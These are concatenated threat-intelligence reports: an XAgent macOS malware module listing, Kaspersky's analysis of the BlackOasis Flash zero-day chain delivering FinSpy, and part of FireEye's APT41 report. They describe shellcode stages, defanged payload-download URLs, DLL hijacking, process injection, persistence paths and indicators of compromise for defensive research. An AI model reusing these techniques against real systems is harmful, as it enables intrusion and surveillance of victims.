Posible Directory Path UserHomedir/Library/Assistants/.local/.localized/exe_name UserHomedir/Library/Assistants/.local/.com.apple.kshd/exe_name UserHomedir/Library/Assistants/.local/.com.apple.erx/exe_name UserHomedir/Library/Assistants/.local/.com.apple.fsg/exe_name UserHomedir/Library/Assistants/.local/.com.apple.ulk/exe_name UserHomedir/Library/Assistants/.local/.com.apple.wsat/exe_name UserHomedir/Library/Assistants/.local/.com.apple.sksh/exe_name UserHomedir/Library/Assistants/.local/.com.apple.ulkg/exe_name UserHomedir/Library/Assistants/.local/.com.apple.updater/exe_name Possible executable name exe_name kshd skgc mwwod rtsol paxs erx mpitil utyy exprd fcc mpiwtil rtdl rcp smm mpil rtw sync fsg mpl tew kex ulk nfod rwd zsc wsat nfsrfd Kjh scpo launchd nfd Fres ddl lanchd ntfs Qas update lauhd rdf zsg mknod routr rep mnod route 12.
RemoteShell: Used to execute remote commands received from the attacker on the infected machine.
It lists installed applications as well as iPhone backups.
-[RemoteShell dispatchCommand:] -[RemoteShell start:] -[RemoteShell executeShellCommand:] -[RemoteShell getInstalledApps] -[RemoteShell checkBackupIosDeviceFolder] [14] White Paper 13.
Coder: Used for base64 encoding/decoding.
Coder::b64Decode(char ,uint,uint ,char ) Coder::base64UrlEncode(uchar ,uint,uint ) Coder::b64Encode(uchar ,uint,uint ,char ) Coder::base64Decode(char ,uint,uint ) Coder::base64Encode(uchar ,uint,uint ) 14.
Cryptor: The cryptographic engine used to encrypt communication with the CC server.
CryptoContainer::cryptRc4(uchar ,uint,uint) CryptoContainer::decryptData(uchar ,uint,uint ) Mac Linux HTTPChannel HTTPChannel MainHandler AgentKernel CameraShot FileObserver FileSystem FileSystem FMServer FTP FTPManager InjectApp Keylogger Keylogger Launcher Password RemoteShell RemoteShell ScreenShot Coder Coder Cryptor Cryptor Modules comparison with Linux [15] White Paper F. Conclusions State-sponsored threat actors go to great lengths to reach their goals.
With clear objectives and generous research  development budgets, APT groups get the job done.
It was just a matter of time until the APT28 group realized they were missing out on a serious cyber-weapon to target Mac OS X users.
The discovery of the XAgent module once again reasserts the need for organizations to tackle computer security in a unified manner, regardless of the operating system mix they have deployed.
Missing out on Macs or mobile phones because they are inherently secure gives determined attacks the opportunity they need to subvert individual devices and take over entire networks to exfiltrate information for months, if not years.
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BlackOasis APT and new targeted attacks leveraging zero- day exploit securelist.com /blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/ By GReAT More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service.
Contact: intelreportskaspersky.com Introduction Kaspersky Lab has always worked closely with vendors to protect users.
As soon as we find new vulnerabilities we immediately inform the vendor in a responsible manner and provide all the details required for a fix.
On October 10, 2017, Kaspersky Labs advanced exploit prevention systems identified a new Adobe Flash zero day exploit used in the wild against our customers.
The exploit was delivered through a Microsoft Office document and the final payload was the latest version of FinSpy malware.
We have reported the bug to Adobe who assigned it CVE-2017-11292 and released a patch earlier today: So far only one attack has been observed in our customer base, leading us to believe the number of attacks are minimal and highly targeted.
Analysis of the payload allowed us to confidently link this attack to an actor we track as BlackOasis.
We are also highly confident that BlackOasis was also responsible for another zero day exploit (CVE-2017-8759) discovered by FireEye in September 2017.
The FinSpy payload used in the current attacks (CVE-2017-11292) shares the same command and control (C2) server as the payload used with CVE-2017-8759 uncovered by FireEye.
BlackOasis Background We first became aware of BlackOasis activities in May 2016, while investigating another Adobe Flash zero day.
On May 10, 2016, Adobe warned of a vulnerability (CVE-2016-4117) affecting Flash Player 21.0.0.226 and earlier versions for Windows, Macintosh, Linux, and Chrome OS.
The vulnerability was actively being exploited in the wild.
Kaspersky Lab was able to identify a sample exploiting this vulnerability that was uploaded to a multi scanner system on May 8, 2016.
The sample, in the form of an RTF document, exploited CVE-2016-4117 to download and 1/10 https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/ mailto:intelreportskaspersky.com https://helpx.adobe.com/security/products/flash-player/apsb17-32.html https://cdn.securelist.com/files/2017/10/cve_2017_11292_credits.png https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html https://helpx.adobe.com/security/products/flash-player/apsa16-02.html https://cdn.securelist.com/files/2017/10/171016-blackoasis-1.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-2.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-3.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-4.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-5.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-6.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-7.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-8.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-9.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-10.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-11.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-12.png install a program from a remote CC server.
Although the exact payload of the attack was no longer in the CC, the same server was hosting multiple FinSpy installation packages.
Leveraging data from Kaspersky Security Network, we identified two other similar exploit chains used by BlackOasis in June 2015 which were zero days at the time.
Those include CVE-2015-5119 and CVE-2016-0984, which were patched in July 2015 and February 2016 respectively.
These exploit chains also delivered FinSpy installation packages.
Since the discovery of BlackOasis exploitation network, weve been tracking this threat actor with the purpose of better understanding their operations and targeting and have seen a couple dozen new attacks.
Some lure documents used in these attacks are shown below: 2/10 Decoy documents used in BlackOasis attacks To summarize, we have seen BlackOasis utilizing at least five zero days since June 2015: CVE-2015-5119  June 2015 CVE-2016-0984  June 2015 CVE-2016-4117  May 2016 CVE-2017-8759  Sept 2017 CVE-2017-11292  Oct 2017 Attacks Leveraging CVE-2017-11292 The attack begins with the delivery of an Office document, presumably in this instance via e-mail.
Embedded within 3/10 the document is an ActiveX object which contains the Flash exploit.
Flash object in the .docx file, stored in uncompressed format The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen in other FinSpy exploits.
4/10 Unpacking routine for SWF exploit The exploit is a memory corruption vulnerability that exists in the com.adobe.tvsdk.mediacore.
BufferControlParameters class.
If the exploit is successful, it will gain arbitrary read / write operations within memory, thus allowing it to execute a second stage shellcode.
The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files: NOP sled composed of 0x90 and 0x91 opcodes The main purpose of the initial shellcode is to download second stage shellcode from hxxp://89.45.67[.
]107/rss/5uzosoff0u.iaf.
5/10 Second stage shellcode The second stage shellcode will then perform the following actions: 1.
Download the final payload (FinSpy) from hxxp://89.45.67[.
]107/rss/mo.exe 2.
Download a lure document to display to the victim from the same IP 3.
Execute the payload and display the lure document Payload  mo.exe As mentioned earlier, the mo.exe payload (MD5: 4a49135d2ecc07085a8b7c5925a36c0a) is the newest version of Gamma Internationals FinSpy malware, typically sold to nation states and other law enforcement agencies to use in lawful surveillance operations.
This newer variant has made it especially difficult for researchers to analyze the malware due to many added anti-analysis techniques, to include a custom packer and virtual machine to execute code.
6/10 The PCODE of the virtual machine is packed with the aplib packer.
Part of packed VM PCODE After unpacking, the PCODE it will look like the following: Unpacked PCODE After unpacking the virtual machine PCODE is then decrypted: 7/10 Decrypted VM PCODE The custom virtual machine supports a total of 34 instructions: Example of parsed PCODE In this example, the 1b instruction is responsible for executing native code that is specified in parameter field.
Once the payload is successfully executed, it will proceed to copy files to the following locations: C:\ProgramData\ManagerApp\AdapterTroubleshooter.exe C:\ProgramData\ManagerApp\15b937.cab C:\ProgramData\ManagerApp\install.cab C:\ProgramData\ManagerApp\msvcr90.dll C:\ProgramData\ManagerApp\d3d9.dll The AdapterTroubleshooter.exe file is a legitimate binary which is leveraged to use the famous DLL search order hijacking technique.
The d3d9.dll file is malicious and is loaded into memory by the legit binary upon execution.
Once loaded, the DLL will then inject FinSpy into the Winlogon process.
8/10 Part of injected code in winlogon process The payload calls out to three C2 servers for further control and exfiltration of data.
We have observed two of them used in the past with other FinSpy payloads.
Most recently one of these C2 servers was used together with CVE- 2017-8759 in the attacks reported by FireEye in September 2017.
These IPs and other previous samples tie closely to the BlackOasis APT cluster of FinSpy activity.
Targeting and Victims BlackOasis interests span a wide gamut of figures involved in Middle Eastern politics and verticals disproportionately relevant to the region.
This includes prominent figures in the United Nations, opposition bloggers and activists, and regional news correspondents.
During 2016, we observed a heavy interest in Angola, exemplified by lure documents indicating targets with suspected ties to oil, money laundering, and other illicit activities.
There is also an interest in international activists and think tanks.
Victims of BlackOasis have been observed in the following countries: Russia, Iraq, Afghanistan, Nigeria, Libya, Jordan, Tunisia, Saudi Arabia, Iran, Netherlands, Bahrain, United Kingdom and Angola.
Conclusions We estimate that the attack on HackingTeam in mid-2015 left a gap on the market for surveillance tools, which is now being filled by other companies.
One of these is Gamma International with their FinFisher suite of tools.
Although Gamma International itself was hacked by Phineas Fisher in 2014, the breach was not as serious as it was in the case of HackingTeam.
Additionally, Gamma had two years to recover from the attack and pick up the pace.
We believe the number of attacks relying on FinFisher software, supported by zero day exploits such as the ones described here will continue to grow.
What does it mean for everyone and how to defend against such attacks, including zero-day exploits?
For CVE-2017-11292 and other similar vulnerabilities, one can use the killbit for Flash within their organizations to disable it in any applications that respect it.
Unfortunately, doing this system-wide is not easily done, as Flash objects can be loaded in applications that potentially do not follow the killbit.
Additionally, this may break any other necessary resources that rely on Flash and of course, it will not protect against exploits for other third party software.
Deploying a multi-layered approach including access policies, anti-virus, network monitoring and whitelisting can help ensure customers are protected against threats such as this.
Users of Kaspersky products are protected as well against this threat by one of the following detections:/p stylemargin-bottom:0important PDM:Exploit.
Win32.Generic 9/10 https://answers.microsoft.com/en-us/windows/forum/windows_8-update/flashplayer-updates/cd258a3f-cd87-4ea9-bdb6-074d06ad491e?auth1 HEUR:Exploit.
SWF.Generic HEUR:Exploit.
MSOffice.
Generic More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service.
Contact: intelreportskaspersky.com Acknowledgements We would like to thank the Adobe Product Security Incident Response Team (PSIRT) for working with us to identify and patch this vulnerability.
References 1.
Adobe Bulletin https://helpx.adobe.com/security/products/flash-player/apsb17-32.html Indicators of compromise 4a49135d2ecc07085a8b7c5925a36c0a 89.45.67[.
]107 10/10 mailto:intelreportskaspersky.com https://helpx.adobe.com/security/products/flash-player/apsb17-32.html BlackOasis APT and new targeted attacks leveraging zero-day exploit Introduction BlackOasis Background Attacks Leveraging CVE-2017-11292 Payload  mo.exe Targeting and Victims Conclusions Acknowledgements References Indicators of compromise
Double Dragon APT41, a dual espionage and cyber crime operation APT41 2       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION2 SPECIAL REPORT  APT40       2 Table of Contents Overview ..........................................................................................4 Targeting ..........................................................................................6 Operations Over Time ................................................................8 Cyber Espionage Activity ....................................................... 10 Case Study: Healthcare Sector Targeting ..................12 Financially Motivated Activity.............................................. 14 Case Study: Video Game Industry Targeting ............17 Third-Party Access.................................................................... 20 History of Supply Chain Compromises ..............................21 December 2014....................................................................22 March 2017 ............................................................................23 July 2017 ................................................................................ 24 June 2018 ...............................................................................25 July 2018 ............................................................................... 26 Overlaps Between Espionage and Financial Operations ....................................................................................27 Attribution....................................................................................30 Status as Potential Contractors .......................................... 33 Links to Other Known Chinese Espionage Operators ...................................................................................... 34 Certificate Overlap ............................................................ 35 Launcher Overlap .............................................................. 36 Code Family Overlap ........................................................ 36 Use of Code-Signing Certificates ....................................... 39 Outlook and Implications ....................................................... 41 Technical Annex: Attack Lifecycle ..................................... 42 Initial Compromise ............................................................ 43 Establish Foothold ............................................................44 Escalate Privileges............................................................. 45 Internal Reconnaissance ................................................. 45 Lateral Movement ..............................................................46 Maintain Presence.............................................................. 47 Complete Mission .............................................................. 48 Technical Annex: MITRE ATTCK Mapping .................... 49 Technical Annex: Code-Signing Certificates Used by APT41 ...............................................................................................51 Technical Annex: Additional Malware Overlaps ...........52 Background ...........................................................................52 HIGHNOON ...........................................................................52 HIGHNOON.BIN and HIGHNOON.LITE .......................52 HIGHNOON.LINUX and HIGHNOON .......................... 54 CROSSWALK and CROSSWALK.BIN ......................... 54 Technical Annex: Malware Used by APT41 .....................60 Technical Annex: APT41 IOCs .............................................. 63 SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       3 Executive Summary FireEye Threat Intelligence assesses with high confidence that APT41 is a Chinese state-sponsored espionage group that is also conducting financially motivated activity for personal gain.
APT41 espionage operations against the healthcare, high-tech, and telecommunications sectors include establishing and maintaining strategic access, and through mid-2015, the theft of intellectual property.
The groups operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance.
FireEye Threat Intelligence assesses with high confidence that APT41 carries out an array of financially motivated intrusions, particularly against the video game industry, including stealing source code and digital certificates, virtual currency manipulation, and attempting to deploy ransomware.
APT41 has executed multiple software supply chain compromises, gaining access to software companies to inject malicious code into legitimate files before distributing updates.
4 SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION FireEye Threat Intelligence assesses with high confidence that APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control.
Activity traces back to 2012 when individual members of APT41 conducted primarily financially motivated operations focused on the video game industry before expanding into likely state- sponsored activity.
This is remarkable because explicit financially motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests these two motivations were balanced concurrently from 2014 onward.
Overview SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       5 Overview APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage operations in what appears to be activity that falls outside the scope of state-sponsored missions.
Based on early observed activity, consistent behavior, and APT41s unusual focus on the video game industry, we believe the groups cyber crime activities are most likely motivated by personal financial gain or hobbyist interests.
This contrasts with the state-sponsored goals that likely drive the groups healthcare, high-tech, and politically related targeting.
We believe that APT41 is highly sophisticated and innovative.
Its history of financially motivated targeting of the video game industry has ultimately supported the groups state-sponsored activity.
The groups distinct use of supply chain compromises to target select individuals, consistent use of compromised digital certificates, and deployment of bootkits (rare among APT operators), highlight a creative and well- resourced adversary.
Some of the early operations driven by personal gain used techniques that would later be pivotal in executing supply chain compromises.
Learning to access video game production environments enabled APT41 to develop the tactics, techniques, and procedures (TTPs) that were later leveraged against software companies to inject malicious code into software updates.
APT41 campaigns include most of the incidents previously attributed in FireEye Threat Intelligence reporting to GREF Team and a number of additional clusters that were previously unnamed.
6       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Like other Chinese espionage operators, APT41 targets industries in a manner generally aligned with Chinas Five-Year economic development plans.
However, some campaigns attributed to APT41 indicate that the group is also deployed to gather intelligence ahead of imminent events, such as mergers and acquisitions (MA) and political events.
Directly targeted verticals include: Healthcare: including medical devices and diagnostics High-tech: including semiconductors, advanced computer hardware, battery technology, and electric vehicles Media: including news organizations Pharmaceuticals Retail Software companies: which were compromised in supply chain operations potentially affecting large numbers of victims Telecoms Travel services Education Video games: including development studios, distributors/publishers, and activities enabling supply chain compromises Virtual currencies: including in-game currencies, cryptocurrencies, and related services APT41 has targeted organizations in 14 countries (and Hong Kong) over seven years, including: France, India, Italy, Japan, Myanmar, the Netherlands, Singapore, South Korea, South Africa, Switzerland, Thailand, Turkey, the United Kingdom, and the United States (Figure 1).
APT41 espionage operations against entities in these countries follow targeting of verticals consistent with Chinese national policy priorities.
Targeting SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       7 Figure 1: Countries and industries targeted directly by APT41.
Industries Targeted Automotive Financial Pharmaceuticals Business Services Healthcare Retail Cryptocurrency High-Tech Telecommunications Education Intergovernmental Travel Energy Media and Entertainment 8       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Operations Over Time The duality of APT41s state-sponsored activity and its own cyber crime operations is demonstrated in the groups simultaneous operations.
Throughout the groups observable history, APT41 has consistently run its own financially motivated campaigns concurrently with espionage operations.
In contrast, APT41 espionage targeting has changed significantly over time, suggesting shifts in assigned missions or new contracts to complete.
A breakdown of industries targeted by APT41 over time can be found in Figure 2.
We believe that like other Chinese espionage operators, APT41 has moved toward strategic intelligence collection and establishing access, but away from direct intellectual property theft.
This shift, however, has not affected the groups consistent interest in targeting the video game industry for financially motivated reasons.
We have not observed evidence of IP theft since late 2015.
In 2014, APT41 was observed carrying out espionage campaigns concurrently with financially motivated intrusions, demonstrating that they could balance different objectives simultaneously.
Espionage operations occurred while the group was still carrying out financially motivated campaigns, including longer-term intrusions, which typically extended for more than a year.
In one instance, APT41 was attempting to steal data from a healthcare target while also attempting to deploy ransomware at a video game studio.
Compromising organizations in different sectors concurrently provides some indication that they are fulfilling specific assigned tasks.
Campaigns have expanded into additional industries including telecoms, the automotive sector, higher education, and travel services.
In 2015, we observed a time period in which eight organizations in six different industries were compromised simultaneously.
Since 2017, APT41s activities have included a series of supply chain compromises.
The operation injects malware into legitimate server software packages used by hundreds of companies worldwide but limits deployment of additional payloads to select targets.
SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       9 Hi-Tech Education TelecomTelecom Finance Healthcare Travel Automotive Telecom Video Game Video Game Related Video Game Related Video Game Related 2012 2013 2014 2015 2016 2017 2018 2019 Video Game Video Game Video Game Video Game Video GameRetail Hi-Tech Hi-Tech Hi-Tech Hi-Tech Hi-Tech Intergovernmental Media Media Media Healthcare Healthcare Pharmaceutical Healthcare Energy Software Software Video Game Related Figure 2: Timeline of industries targeted by APT41.
INDUSTRIES TARGETED BY APT 41 10       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Cyber Espionage Activity Observed APT41 targeting is consistent with Chinas national strategies to move production capabilities upmarket into research and development (RD)-heavy fields.
These initiatives were especially highlighted with Made in China 2025, a plan announced in 2015 that aims to shift Chinas economy toward higher value products and services, including pharmaceuticals, semiconductors, and other high-tech industries.
We assess that the targeting of high-tech firms that produce computer components aligns with Chinese interests in domestically developing high-end technologies as outlined in the 12th (2011) and 13th (2016) Five-Year plans, as well as the Made in China 2025 (2015) initiative.
Since 2013, APT41 has targeted organizations involved in the research, development, and sale of computer components used for machine-learning, autonomous vehicles, medical imaging, and the consumer market.
The group also targeted companies involved in producing motherboards, processors, and server solutions for enterprises.
In April 2013, the group targeted an enterprise cloud-computing provider.
Developing domestic cloud-computing technologies was a goal in the 12th Five-Year Plan.
In a 2014 compromise, APT41 targeted a European conglomerate and specifically focused on systems physically located in China.
The timing of multiple intrusions attributed to the group indicate a focused interest in strategic business decisions, including entry into the Chinese market, partnerships/ MA, and expansion into other regional markets.
In October 2017, an intrusion into a retailer targeted strategic investment plans at the same time as the firm was beginning to negotiate a partnership with a Chinese company (although this potential deal was not publicized).
In spring 2015, APT41 targeted information related to two entities undergoing a merger announced the previous year.
This included data related to a senior executive, as well as payroll and communications integration issues.
Since 2017, APT41 has consistently targeted telecommunications companies, possibly a crucial first step to establish a foothold in targeting a particular region.
Targeted telecom companies spanned several countries, and recently identified intrusions were concentrated in countries where we had not identified any prior APT41 activity.
APT41 has targeted large telecom companies and their subsidiaries in various locations, demonstrating consistent interest in obtaining access to these targets.
The group has also repeatedly targeted call record information at telecom companies, supporting indications of their wider intelligence collection efforts.
In addition to specifically targeting industries of strategic value, we suggest that APT41 is also given more tactical assignments, including reconnaissance and identifying dissidents.
A hotel was targeted two weeks ahead of a diplomatic visit in which high-ranking Chinese officials stayed there.
Personal data within the reservations system was directly accessed, suggesting the group was potentially tasked to reconnoiter the facility.
We assess with moderate confidence that APT41 gathered intelligence on pro-democracy dissidents in Hong Kong based on the targets and timing of operations.
In July and August 2016, APT41 sent spear-phishing emails to Hong Kong media organizations known for pro-democracy editorial content.
The timing and targeting of this activity suggests possible interest in the pro-democracy Umbrella Movement candidates who were running for seats in Hong Kongs legislative council.
A spear-phishing email with the subject-line help was later sent to one of the previously targeted organizations in October 2017, coinciding with the sentencing of pro-democracy Occupy activists.
The ruling placed a five-year ban on the activists from holding public offices in Hong Kong.
https://www.uscc.gov/sites/default/files/Research/12th-FiveYearPlan_062811.pdf https://www.uscc.gov/sites/default/files/Research/The2013th20Five-Year20Plan_Final_2.14.17_Updated202800229.pdf https://www.uschamber.com/sites/default/files/final_made_in_china_2025_report_full.pdf https://www.theguardian.com/world/2016/sep/05/hong-kong-poll-pro-independence-activists-poised-to-win-seats-in-record-turnout https://www.scmp.com/news/hong-kong/politics/article/2107216/occupy-activists-joshua-wong-and-nathan-law-jailed-hong-kong SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       11 This was the first instance we have observed of APT41 targeting pro-democracy groups in Hong Kong.
APT41 frequently leverages timely news stories as the lure content in their spear-phishing emails, although social engineering content does not always correlate with targeted users or organizations.
In 2015, APT41 targeted a Japanese media organization with a lure document (Figure 3) titled (MERS), which translates to Prevention of Middle East Respiratory Syndrome (MERS).
The fear of respiratory infections and a potential pandemic provide particularly effective lure material against targets in the Asia-Pacific region that had first-hand experience with prior SARS and avian flu outbreaks.
Figure 3: MERS-themed lure document leveraging  for CC (MD5: 5e87b09f9a3f1b728c9797560a38764b).
12       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Healthcare Sector Targeting CASE STUDY APT41 activity aimed at medical device companies and pharmaceuticals is demonstrative of the groups capacity to collect sensitive and highly valuable intellectual property (IP), although we have not observed evidence of IP theft since late 2015.
The healthcare sector was targeted in a manner that is highly specific and most likely indicative of focused taskings from sponsoring organizations with a stake in the healthcare market.
Targeted information included pharmaceutical development, clinical trial data, and intelligence regarding a medical subsidiarys parent company.
SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       13 The targeting of these organizations just ahead of the release of products requiring a long RD cycle can confer a significant market advantage to a competitor.
The observed activities are indicative of ongoing efforts to support Chinas own RD efforts in support of Made in China 2025.
Between July 2014 and May 2016, APT41 targeted a medical devices subsidiary of a large corporation.
Although APT41 initially targeted the parent company, 30 percent of the victimized hosts were related to a subsidiary specialized in manufacturing medical devices.
Password strings and spoofed domains leveraged in the operation signify a narrow tasking to target the subsidiary instead of the parent corporation.
We have some indication based on the nature of hosts targeted that APT41 was interested in information technology employees and software used by the medical device subsidiary.
A keylogger dubbed GEARSHIFT was first deployed at the medical device company.
A digital certificate from the victim was compromised and used to sign malware used in an operation against a separate biotech company detailed below.
A biotech company undergoing acquisition was targeted by APT41 in May 2015.
Highly sensitive information about corporate operations, including human resources data, tax information, and acquisition- related documents, were targeted.
Clinical trials data of developed drugs, academic data, and RD funding-related documents were exfiltrated.
The time frame, use of the same GEARSHIFT sample, and a digital certificate from the aforementioned medical device company provide some indication that these two campaigns were conducted by the same operator concurrently.
In 2018, we observed APT41 target a third healthcare company, although their goals during this compromise were unclear.
14 SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Financially Motivated Activity Unlike other observed Chinese espionage operators, APT41 conducts explicit financially motivated activity, which has included the use of tools that are otherwise exclusively used in campaigns supporting state interests.
The late- night to early morning activity of APT41s financially motivated operations suggests that the group primarily conducts these activities outside of their normal day jobs.
However, the group compiled malware for use in cyber crime activity even during espionage-focused working hours.
As demonstrated in Figure 4, operational times for APT41 espionage operations over all observed activity are relatively close to Chinese work hours (in UTC 8, Chinas time zone).
In contrast, the groups financially motivated activity targeting the video game industry tends to occur much later in the night.
Operational times at gaming targets are most frequent between 18:00 and 07:00 (UTC 8), providing some indication that the group is moonlighting.
Note that this is based on data collected over years and does not represent a daily schedule.
The typical working hours in China for tech workers is a 996 work schedule (9:00 a.m. to 9:00 p.m., six days a week), which is consistent with APT41s operational activity observed over time.
Operational times at targets not related to video games (and therefore, almost certainly in support of state-sanctioned missions) are more frequent between 14:00 and 22:00 (China Standard Time (CST), UTC 8), closer to conventional working hours (Figure 4).
Analysis of compile times for all portable executable (PE) files suggests that APT41s average working hours fall between 10:00 to 23:00 (UTC 8), highlighting that the financially motivated activity is most likely extraneous to their espionage operations.
Compile times for samples used in suspected financial gain missions are skewed toward later in the evening, roughly 19:00 to 00:00 (UTC 8).
However, there is significant overlap with the compile times of PE files deployed at espionage targets between 15:00 to 19:00 (UTC 8).
https://www.nytimes.com/2019/04/29/technology/china-996-jack-ma.html SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       15 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Figure 4: Operational activity for gaming versus non- gaming-related targeting based on observed operations since 2012.
The group has also targeted cryptocurrencies, including at least one case in which there was a connection between cryptocurrency and an online video gaming platform.
In June 2018, APT41 sent spear-phishing emails using an invitation lure to join a decentralized gaming platform linked to a cryptocurrency service (Figure 5) that had positioned itself as a medium of exchange for online games and gambling sites.
The malicious emails were sent from an email address listed with the name Tom Giardino, which is likely a reference to an employee at Valve, an American video game developer responsible for the software distribution platform Steam and various video games.
The body of the email (Figure 6) also mentions gaming offerings.
This provides another connection between the targeting of the cryptocurrency organizations and video game targeting.
In October 2018, the group compiled an instance of XMRig, a Monero cryptocurrency mining tool, demonstrating a continued interest in cryptocurrency.
Operational Times at Gaming Targets Operational Times at Non-Gaming Targets APT41 Operational Times UTC 8 16       SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Figure 5: Screenshot of invitation to join the FairWin online gaming platform.
Figure 6: English translation of invitation to join the FairWin online gaming platform.
From: Tom Giardino Date: redacted Subject: Project (FairWin) online application Project Introduction: FairWin is a decentralized online gaming platform.
Be sure to win fairness because our special FairChannel guarantees accurate RTP rates.
The system is based on a blockchain, which means that the gameplay process is open.
The payment of the bonus is automatic.
Not dependent on the organizer.
In addition to this, we also offer fun generous games with fascinating graphics.
It can be run on any device and any browser so that all players can enjoy these experiences.
Please refer to the attachment for other details SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION       17 Video Game Industry Targeting APT41 continuously returns to targeting the video game sector and seems to have matured its campaigns through lessons learned in operations against the industry.
We believe these operations include broadly malicious activity that can enable further operations, such as targeting game source code and compromising digital certificates, while other activities are explicitly financially motivated, such as abusing in-game currency mechanics.
APT41 campaigns focused on the video game sector have largely affected studios and distributors in East and Southeast Asia, although global companies based in the United States have also been targeted.
CASE STUDY 18 SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION The group leverages many TTPs during the targeting of video game-related organizations, which are likewise employed in their espionage operations.
Since at least 2012, APT41 has repeatedly gained access to game development environments within affected companies, including online multiplayer networks, as well as targeting of production database administrators.
The group is competent in both Linux and Windows environments and can pivot easily between both environments within a single operation, including compromising intermediary servers that provide access to separated Windows and Linux environments.
In October 2012, APT41 used captured credentials to compromise a jump server and access a production environment where they deployed a Linux version of PHOTO.
Based on the machines targeted, we have some indication that APT41 specifically sought to access production machines used in the development of an upcoming online game.
In 2014, APT41 used a variant of SOGU that is capable of connecting to Windows and Linux systems via SSH and Samba/CIFS.
APT41 has been observed inserting malicious code into legitimate video game files to distribute malware.
In 2018, the group inserted CRACKSHOT malware into game files that were signed with legitimate code- signing certificates, most likely indicating access to the production environment, which facilitated a supply chain compromise.
A highly similar incident in 2014 suggests that APT41 (or a closely affiliated actor) has a history of carrying out such operations against the video game industry.
APT41s experience gaining access to production environments may have been a precursor to more recent supply chain compromises.
The insertion of malware into a build environment for later distribution with legitimate software is a natural extension of the groups earliest activities.
Additional details are provided in the section History of Supply Chain Compromises.
We have also observed APT41 limitedly deploy rootkits on Linux systems and Master Boot Record (MBR) bootkits, such as ROCKBOOT, on Windows systems to hide their malware and maintain persistence on victim systems.
Selective deployment of ROCKBOOT suggests that APT41 reserves more advanced TTPs and malware only for high-value targets.
Bootkits are a stealthy means of installing malware because the code resides outside of the OS.
Because bootkits are initialized prior to the OS and operate in kernel mode, OS applications and security tools may have great difficulty detecting bootkits.
The use of bootkits among threat actors, however, is rare.
It is more common for threat actors to rely on techniques such as DLL search order hijacking or modifying Windows registry keys to achieve persistence.
The group used the Adore-NG rootkit on older Linux operating systems to hide their Linux backdoor ADORE.XSEC.
Note that the Adore-ng rootkit is no longer in development and would likely not run successfully on modern Linux systems, but APT41 deployed this on a legacy game server.
APT41 is well-known for leveraging compromised digital certificates from video game studios to sign malware.
The group has abused at least 19 different certificates in this way.
Additional details on code-signing certificates are provided in the section Use of Code Signing Certificates.
In 2012, APT41 used a code-signing certificate from Mgame, a South Korean game publisher, against other gaming industry entities.
The serial number for this certificate was: 01:00:00:00:00:01:30:73:85:f7:02 19SPECIAL REPORT  DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 4e:eb:08:05:55:f1:ab:f7:09:bb:a9:ca:e3:2f:13:cd Figure 7: Screenshot of ransomware note.
ATTENTION The files on your computer have been securely encrypted.
To get access to your files again, follow the instructions at: ACHTUNG Die Dateien auf Ihrem Computer wurden ischer verschluesselt.
Um den Zugriff auf Ihre Dateien wiederzuerlangen, folgen Sie der Anleitung auf: A different Mgame digital certificate has been used by several other Chinese operators, including APT17, APT20, and APT31.
It is unclear if this certificate was compromised at the same time as the one used by APT41 (or if it was stolen by APT41 and shared with these other groups).
